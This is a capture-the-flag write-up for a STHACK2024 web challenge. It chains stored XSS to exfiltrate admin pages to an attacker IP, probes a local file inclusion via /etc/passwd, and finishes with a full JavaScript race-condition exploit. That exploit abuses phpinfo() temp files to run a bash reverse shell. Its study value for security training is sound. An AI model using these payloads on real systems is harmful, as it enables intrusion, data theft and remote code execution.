# [STHACK2024] - ACME Reclamation Center --- **Challenge Maker :** shoxxdj **Solves :** 2 ![](https://github.com/HyouKash/images/blob/main/image6.png?raw=true) ## Recon : The challenge has only one endpoint, which allows a user to send a message that will be read later. ![](https://github.com/HyouKash/images/blob/main/image.png?raw=true) First, we'll try to obtain an XSS: ```html <script src="http://IP/XSS"></script> ``` And we have our proof that an xss is possible: ![](https://github.com/HyouKash/images/blob/main/imag2e.png?raw=true) We'll be able to do recon to see things we wouldn't otherwise have access to: ```html <script>fetch('/', {method: 'GET'}).then(r=>r.text()).then(function(data) { return fetch('http://IP/?enc='+btoa(data)) });</script> ``` The html content of the page is as follows: ```html <html> <h1>ACME RECLAMATION CENTER ADMIN</h1> <a href="/admin">Link</a> </html> ``` So we're going to do the same thing, but this time on the /admin endpoint. ```html <html> <head> <title>Admin Zone</title> [...] </body> <footer> <ul> <li><a href="/admin/index.php?page=manual.php">manual</a></li> <li><a href="/admin/index.php?page=contact.php">contact</a></li> <li><a href="/admin/index.php?page=phpinfo.php">server info</a></li> </ul> </footer> </html> ``` We obtain 3 endpoints, and this is where the challenge really begins. First, we'll obtain information on these files in the same way as before, which will enable us to put aside "manual.php" and "contact.php". The contents of phpinfo.php turn out to be a little more interesting, as they are the contents of the phpinfo() function. It generally contains information on the application context, such as environment variables, configuration variables, etc. In addition, we manage to check that it is possible to exploit a Local File Inclusion, since we manage to retrieve the contents of `/etc/passwd` : ```html <script>fetch('/admin/index.php?page=/etc/passwd', {method: 'GET'}).then(r=>r.text()).then(function(data) { return fetch('http://IP/?enc='+btoa(data)) });</script> ``` When you try to retrieve the contents of a file that doesn't exist, you get the following response: ```html <b>Warning</b>: include(/tmp/osef): Failed to open stream: No such file or directory in <b>/var/www/html/admin/index.php</b> on line <b>6</b><br /> <br /> <b>Warning</b>: include(): Failed opening '/tmp/osef' for inclusion (include_path='.:/usr/local/lib/php') in <b>/var/www/html/admin/index.php</b> on line <b>6</b><br /> ``` This allows us to validate the use of the "include" function and should therefore enable php to be executed via the LFI. The use of wrappers is not possible here, as we are blocked by a WAF. ## LFI with phpinfo() assistance : We know from the challenge description that we need to obtain a TTY on the server, so rather than bypassing the waf we're going to turn instead to known LFI to RCE exploits. One such exploit uses the phpinfo() file to obtain an RCE. This vulnerability was first discovered by Gynvael Coldwind in his paper "PHP LFI to arbitrate code execution via rfc1867 file upload temporary files". We learn that if the `file_uploads = on` option is enabled in the php configuration then it is possible to upload files via a POST request on any php file. This file will be temporarily stored in /tmp. However, this file will be deleted once the php processor has finished loading the request to the php file. To exploit this vulnerability, several conditions must be met: - obtain an LFI that allows us to include the uploaded file - the output of the phpinfo() function, here in phpinfo.php As I said earlier, phpinfo() is important because it leaks information about php variables, such as information about the temporary file we're trying to upload: ![](https://github.com/HyouKash/images/blob/main/image3.png?raw=true) The problem now is that we need to retrieve the value of the [tmp_name] variable before the phpinfo.php page is loaded, in order to include our temporary file. ## LFI with phpinfo() assistance.. with race condition So we need to get the contents of the variable before the request is fully processed. And it is indeed possible to retrieve partial information as the PHP processor continues to load the requested file. ![](https://github.com/HyouKash/images/blob/main/image5.png?raw=true) So the idea is clear: make the page take enough time to load to read the response line by line until we come across our temporary file, then include it and get our RCE. The race condition will be made possible by adapting the size of our headers, which will be very long and therefore take longer to be loaded by the PHP processor. ## Chain everything together : ```js function generateRandom(length) { const listchar = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234586789'; let randomValue = ''; for (let i = 0; i < length; i++) { const randomIndex = Math.floor(Math.random() * listchar.length); randomValue += listchar[randomIndex]; } return randomValue; } function makeRequest() { const url = 'http://admin_website/admin/index.php?page=phpinfo.php'; const padding = generateRandom(2000); const cookies = { PHPSESSID: 'q249llvfromc1or39t6tvnun42', test: padding }; const headers = { 'HTTP_ACCEPT': padding, 'HTTP_USER_AGENT': padding, 'HTTP_ACCEPT_LANGUAGE': padding, 'HTTP_PRAGMA': padding, 'HTTP_ACCEPT_ENCODING': padding, 'Content-Type': 'multipart/form-data; boundary=---------------------------7dbff1ded0714' }; for (let i = 0; i < 60; i++) { const key = generateRandom(2000); const value = generateRandom(2000); headers[key] = value; } const data = ` -----------------------------7dbff1ded0714 Content-Disposition: form-data; name="dummyname"; filename="test.txt" Content-Type: text/plain <?php system('bash -c "sh -i >& /dev/tcp/IP/4444 0>&1"'); ?> -----------------------------7dbff1ded0714-- `; const options = { method: 'POST', headers: headers, cookies: cookies, body: data, credentials: 'include' }; fetch(url, options) .then(response => { if (response.ok) { const reader = response.body.getReader(); const decoder = new TextDecoder('utf-8'); let done = false; const loop = async () => { const { value, done: doneReading } = await reader.read(); done = doneReading; const chunkValue = decoder.decode(value); const lines = chunkValue.split('\n'); const regex = /\[tmp_name\] =\&gt; (.+?)\n/g; const match = regex.exec(chunkValue); if (match !== null) { const tmpFilePath = match[1]; for (const line of lines) { if (line.includes('tmp_name')) { await fetch('http://admin_website/admin/index.php?page=' + tmpFilePath, { method: 'GET', credentials: 'include' }); } } } if (!done) { return loop(); } }; return loop(); } }) } makeRequest(); ``` All we have to do is make it execute our JS file: ```html <script src="http://IP/poc.js"></script> ``` And we get our RCE: ![](https://github.com/HyouKash/images/blob/main/images4.png?raw=true) ## Reference : https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf